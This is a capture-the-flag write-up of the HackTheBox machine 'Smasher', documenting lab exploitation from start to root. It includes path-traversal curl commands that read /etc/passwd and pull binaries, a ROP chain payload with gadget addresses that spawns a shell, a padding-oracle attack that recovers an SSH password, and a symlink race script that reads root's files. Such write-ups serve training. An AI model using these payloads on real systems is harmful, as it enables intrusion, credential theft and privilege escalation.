HTB: Smasher Writeup
Smasher - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Smasher |
| OS | Linux |
| Difficulty | Insane |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.129.65.154 |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐⭐⭐ (5/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐☆
- CVE: ⭐☆☆☆☆
- CTF-like: ⭐⭐⭐⭐⭐
Summary
Smasher is a chained binary-exploitation box built around a custom, stripped-down fork of the shenfeng tiny-web-server. A path-traversal bug in the HTTP request parser leaks the filesystem, including the web server’s own binary and the box’s libc, which is enough to fingerprint and weaponize a stack buffer overflow in url_decode(). Landing a shell as www exposes a second, internal-only service — a homebrew “AES Checker” bound to loopback — that turns out to be a textbook CBC padding oracle leaking SSH credentials for a second user, smasher. From there, a SUID root helper (/usr/bin/checker) has a classic TOCTOU (check-then-use) race between validating a file and consuming it, which is abused to substitute a symlink to /root/root.txt in the window between the permission check and the read.
TL;DR: LFI (/etc/passwd + binary/libc disclosure) → stack overflow in tiny’s url_decode() → single-connection ROP chain (leak libc via write(4, read@GOT), stage a syscall-based second chain in .bss, pop rsp pivot into it) → shell as www → local CBC padding oracle on 127.0.0.1:1337 decrypts smasher’s SSH password → SUID checker TOCTOU race swaps a symlink to /root/root.txt during its sleep() window → root.
Reconnaissance
Port Scanning
nmap -Pn -p- --min-rate=2000 -T4 10.129.65.154Results:
22/tcp open ssh1111/tcp open lmsocialserver # shenfeng tiny-web-server (custom fork)Only two services: standard ssh on 22, and a lightweight HTTP daemon on 1111 identified as a shenfeng tiny-web-server derivative.
Service Enumeration
The tiny-web-server codebase is small enough that any deviation from upstream is significant. Requesting a traversal path against the web root confirmed a local file inclusion / path traversal bug in the request parser — the daemon doesn’t canonicalize or bound the requested path before opening it:
# Directory traversal out of the served web rootcurl -s --path-as-is 'http://10.129.65.154:1111/../../../../../etc/passwd'This returned the box’s /etc/passwd, exposing two non-system accounts of interest: www (uid 1000) and smasher (uid 1001). With arbitrary file read confirmed, the server’s own binary and the target’s C library were pulled straight through the same bug — critical for building a working ROP chain against the exact runtime the box uses:
# Pull the server binary and the box's libc via the same LFI primitivecurl -s --path-as-is -o tiny 'http://10.129.65.154:1111//home/www/tiny-web-server/tiny'curl -s --path-as-is -o libc.so.6 'http://10.129.65.154:1111//lib/x86_64-linux-gnu/libc.so.6'Static analysis of tiny (via objdump/readelf) confirmed NX disabled and PIE disabled — a deliberately weakened build, matching the server’s small, custom code path (www’s process model was also trimmed down: it never forks a child per connection, so the exploited process itself keeps serving/dying with the hijack).
Vulnerability Assessment
- CWE-22 (Path Traversal) in the HTTP request parser → arbitrary file read as
www, used to exfiltratetinyandlibc.so.6. - CWE-121 (Stack-based Buffer Overflow) in
url_decode()— the request path is decoded into a fixed 512-byte stack buffer while the caller allows up to 1024 bytes of input, giving full control of saved return state. - No stack canary / NX off / PIE off — the binary is compiled specifically without hardening, turning the overflow into a direct, deterministic RIP-control primitive (no info leak needed to defeat a canary, no leak needed to defeat PIE on the binary itself — only libc’s ASLR base needs to be leaked).
- CWE-696 / oracle-style padding leak in the internal
AES Checkerservice — later exploited for lateral movement. - CWE-367 (TOCTOU race condition) in the SUID
/usr/bin/checkerbinary — later exploited for privilege escalation.
Initial Foothold
Exploitation Path
1. Locating the overflow and the offset.
Fuzzing the request path confirmed a crash once the decoded filename buffer was overrun. Cyclic-pattern analysis against the crash in gdb pinned the exact offset to the saved return address:
Overflow trigger: GET /<1024 bytes> HTTP/1.1Confirmed offset to saved RIP: 568 bytesNX: disabled PIE: disabledBecause PIE is off, every address inside tiny (its PLT stubs, GOT entries, and any usable gadgets) is a fixed, known constant across runs. Only the libc base is randomized by ASLR and needs to be leaked at exploit time.
2. Leaking libc.
tiny imports read/write but not puts, so the leak primitive has to be built from write(fd, addr, len) against the read() GOT entry, using the connection’s own socket file descriptor. Because this stripped server never forks and no earlier connections had been closed, the exploited connection’s socket consistently landed on fd 4:
# Gadgets recovered from the disclosed 'tiny' binary (fixed addrs, PIE off)pop_rsi_r15 = 0x4011db # pop rsi; pop r15; retpop_rdi = 0x4011dd # pop rdi; retwrite_plt = 0x400c50read_plt = 0x400cf0
buf = b'A' * 568 # pad to saved RIPbuf += p64(pop_rsi_r15) + p64(read_got_addr) + p64(0xdeadbeef)buf += p64(pop_rdi) + p64(4) # fd 4 == this connection's socketbuf += p64(write_plt) # write(4, &read@GOT, ...)Sending this via GET /<urlencoded payload> and reading the raw bytes back off the same socket recovers read()’s runtime address, from which the libc base is trivially computed (leaked_read - offset_of_read_in_libc, resolved from the disclosed libc.so.6).
3. Escalating past a broken two-connection design.
The textbook approach for this box is to leak the address on one connection, then open a second connection and send a follow-up chain that calls dup2() + system("/bin/sh") assuming the new connection reuses fd 4. That did not hold up against this live target: the hijacked process never actually closes the first connection’s connfd, so a second, independent connection is not guaranteed fd 4 — and the direct system() call on this glibc build (2.27) additionally requires 16-byte stack alignment at the call site, which the naive chain didn’t satisfy, crashing the process outright regardless of the fd guess. Both root causes were verified independently (walking all plausible fd values, and testing both the aligned and misaligned chain) before abandoning the two-connection design.
4. Working exploit: single-connection ROP with an in-memory pivot.
Instead of relying on a second, unpredictable connection, the whole exploit was collapsed into one TCP session:
- Leak
read@GOTviawrite(4, read@GOT, 8)as above, on the same connection. - Immediately follow up with
read(4, .bss_addr, N)to stage a second ROP chain — built with raw libc gadgets (pop rax,pop rdi,pop rsi,pop rdx,syscall) instead of callingsystem()— directly into the binary’s.bsssegment, sent over the wire in the same request/response cycle. - Pivot execution into the staged chain with a
pop rspgadget found intinyitself at0x40178a, redirecting the stack pointer straight into.bss. - The staged chain runs
dup2(4, 0),dup2(4, 1),dup2(4, 2), thenexecve("/bin/sh", NULL, NULL)via raw syscalls — sidesteppingsystem()’s stack-alignment requirement entirely, since syscalls have no such constraint.
This design needs neither a second connection nor any fd guessing beyond the one already proven — everything rides the same socket the leak was taken from. Because the tiny server degrades (and sometimes dies) after each hijack attempt, the exploit was wrapped in a retry loop and re-run until a clean shell landed:
for i in 1 2 3 4 5; do TERM=xterm timeout 40 python3 one.py 'id' && breakdoneThis returned an interactive shell as www, confirming the ROP chain and the syscall-based second stage both executed correctly.
Privilege Escalation
www → smasher (padding oracle)
Enumerating listening sockets from the www shell revealed a service bound only to loopback:
ss -tlnp# 127.0.0.1:1337 — internal-only "AES Checker" serviceProbing it manually showed it accepts base64 ciphertext, decrypts it with AES-CBC, and distinguishes between a padding-validation failure and every other outcome in its response — the defining signature of a CBC padding oracle (attacker-controlled ciphertext + a binary “padding OK / padding bad” oracle is sufficient to decrypt the plaintext byte-by-byte without ever knowing the key, by manipulating the previous ciphertext block and observing which guessed byte produces valid PKCS#7 padding).
Because inbound connections to the box are firewalled — attempting to forward 1337 outward with socat was refused — but outbound traffic from the box was permitted, the oracle had to be driven locally, on the target. A dependency-free padding-oracle implementation (no python-paddingoracle library available on the box) was uploaded through the same LFI-adjacent shell access and run directly against 127.0.0.1:1337, with progress polled back out through the original LFI:
# Run the oracle exploit on-box against the loopback-only servicepython3 /tmp/po.py > /tmp/po.out 2>&1 &
# Poll results back through the LFI, since we have no direct route to the targetcurl -s --path-as-is 'http://10.129.65.154:1111//tmp/po.out'Iterating the padding oracle block-by-block against the service’s own ciphertext eventually recovered the plaintext in full:
... user 'smasher' is: PaddingOracleMaster123That credential authenticated directly over SSH:
ssh smasher@10.129.65.154# Password: PaddingOracleMaster123cat user.txtuser.txt : <redacted>smasher → root (SUID TOCTOU race)
Enumerating SUID binaries on the box surfaced /usr/bin/checker, a root-owned SUID helper that takes a filename argument, checks that the invoking user has permission to read it, then (after an internal sleep()) reads and prints the file’s contents as root. The permission check and the actual file consumption are not atomic — a classic time-of-check-to-time-of-use (TOCTOU) flaw. If the file backing the checked path can be swapped for a symlink to a privileged file between the check and the read, checker will happily dump root-owned content it was never authorized to access.
The race was won by creating an innocuous file the current user owns, launching checker against it in the background, and — during its internal sleep window — replacing that path with a symlink to the target file:
# race.sh — win the TOCTOU window in /usr/bin/checkerecho abc > race.tmp # file we're allowed to read, satisfies the checkchecker race.tmp & # background the SUID helper against itrm race.tmpln -s /root/root.txt race.tmp # swap it for a symlink during checker's sleep()checker re-opens the (now-symlinked) path after its check-time delay and dumps /root/root.txt with root privileges — the exploit landed on the first iteration:
root.txt : <redacted>Attack Chain Summary
LFI in tiny-web-server (/etc/passwd, tiny binary, libc.so.6) → offset 568 stack overflow in url_decode() (NX off, PIE off) → single-connection ROP: write(4, read@GOT) leak → libc base → read(4, .bss) stages syscall-based 2nd chain → pop rsp (0x40178a) pivots into staged chain → dup2(4,0/1/2) + execve("/bin/sh") → shell as www → local AES Checker (127.0.0.1:1337) is a CBC padding oracle → on-box oracle run recovers smasher's SSH password → SSH as smasher → user.txt → SUID /usr/bin/checker TOCTOU race → symlink swap during checker's sleep() → /root/root.txt → rootTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning / service discovery |
curl | Exploiting the LFI, exfiltrating tiny/libc.so.6, polling on-box output |
pwntools (Python) | ROP chain construction, socket handling for the overflow exploit |
ROPgadget / ropper | Gadget hunting in tiny and libc.so.6 |
objdump / readelf | GOT/PLT resolution, libc symbol offsets |
gdb | Crash triage and offset confirmation |
| custom padding-oracle script | Dependency-free CBC padding oracle attack against the internal AES Checker |
socat | Attempted port forward of the internal service (blocked by inbound firewall) |
ssh / scp | Lateral movement, artifact transfer via the jump host |
custom race script (race.sh) | TOCTOU exploitation of the SUID checker binary |
Key Learnings
Techniques Practiced
- Exploiting a path-traversal LFI to exfiltrate a target’s own binary and libc for offline gadget/offset analysis.
- Building a ROP chain against a non-PIE, non-NX binary to leak a libc address via
write(fd, GOT_entry, len). - Diagnosing a live deviation from a “standard” exploit design (broken fd assumption + missed stack-alignment requirement for
system()) and re-engineering the chain around raw syscalls and a stack pivot instead of assuming the textbook path would just work. - Recognizing and exploiting a CBC padding oracle from black-box behavioral differences (distinct error responses) rather than from a documented vulnerability.
- Routing an internal, firewalled service’s exploitation through an already-compromised host when direct network access isn’t available.
- Exploiting a SUID binary’s TOCTOU window with a symlink race to escalate to root.
Lessons Learned
- Never trust that a public writeup’s exact exploit steps will reproduce byte-for-byte on a live target — the same binary can still diverge in runtime behavior (fd reuse, process lifecycle) between environments, and each assumption needs to be verified independently rather than carried over wholesale.
- When a straightforward
system()call in a ROP chain crashes unexpectedly on modern glibc, stack alignment (glibc ≥2.26’smovaps-based prologues) is a common, easy-to-miss culprit — building syscalls directly (dup2/execveviasyscall) sidesteps the requirement entirely. - A single-connection exploit (leak, stage, pivot) is inherently more reliable against a fragile/degrading target service than a multi-connection design that depends on consistent file-descriptor allocation across separate sessions.
- Firewalling only inbound traffic to a host doesn’t protect internal-only services bound to loopback — if outbound access exists, an attacker with any code execution can simply run the attack tooling locally on the box and exfiltrate results indirectly (here, through the very LFI that provided the initial foothold).
- TOCTOU races in SUID tooling remain exploitable with nothing more than a tight loop and a symlink swap — no exotic tooling is required, just winning a timing window reliably enough.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- MinatoTW, “Smasher” — HackTheBox official writeup (Document No. D18.100.28), used here for conceptual explanation of the
url_decode()overflow’s root cause, the write-based libc leak primitive, the CBC padding-oracle mechanics, and the SUIDcheckerTOCTOU race. All IPs, addresses, outputs, and credentials in this writeup are from the author’s own live run against10.129.65.154, not from the referenced document.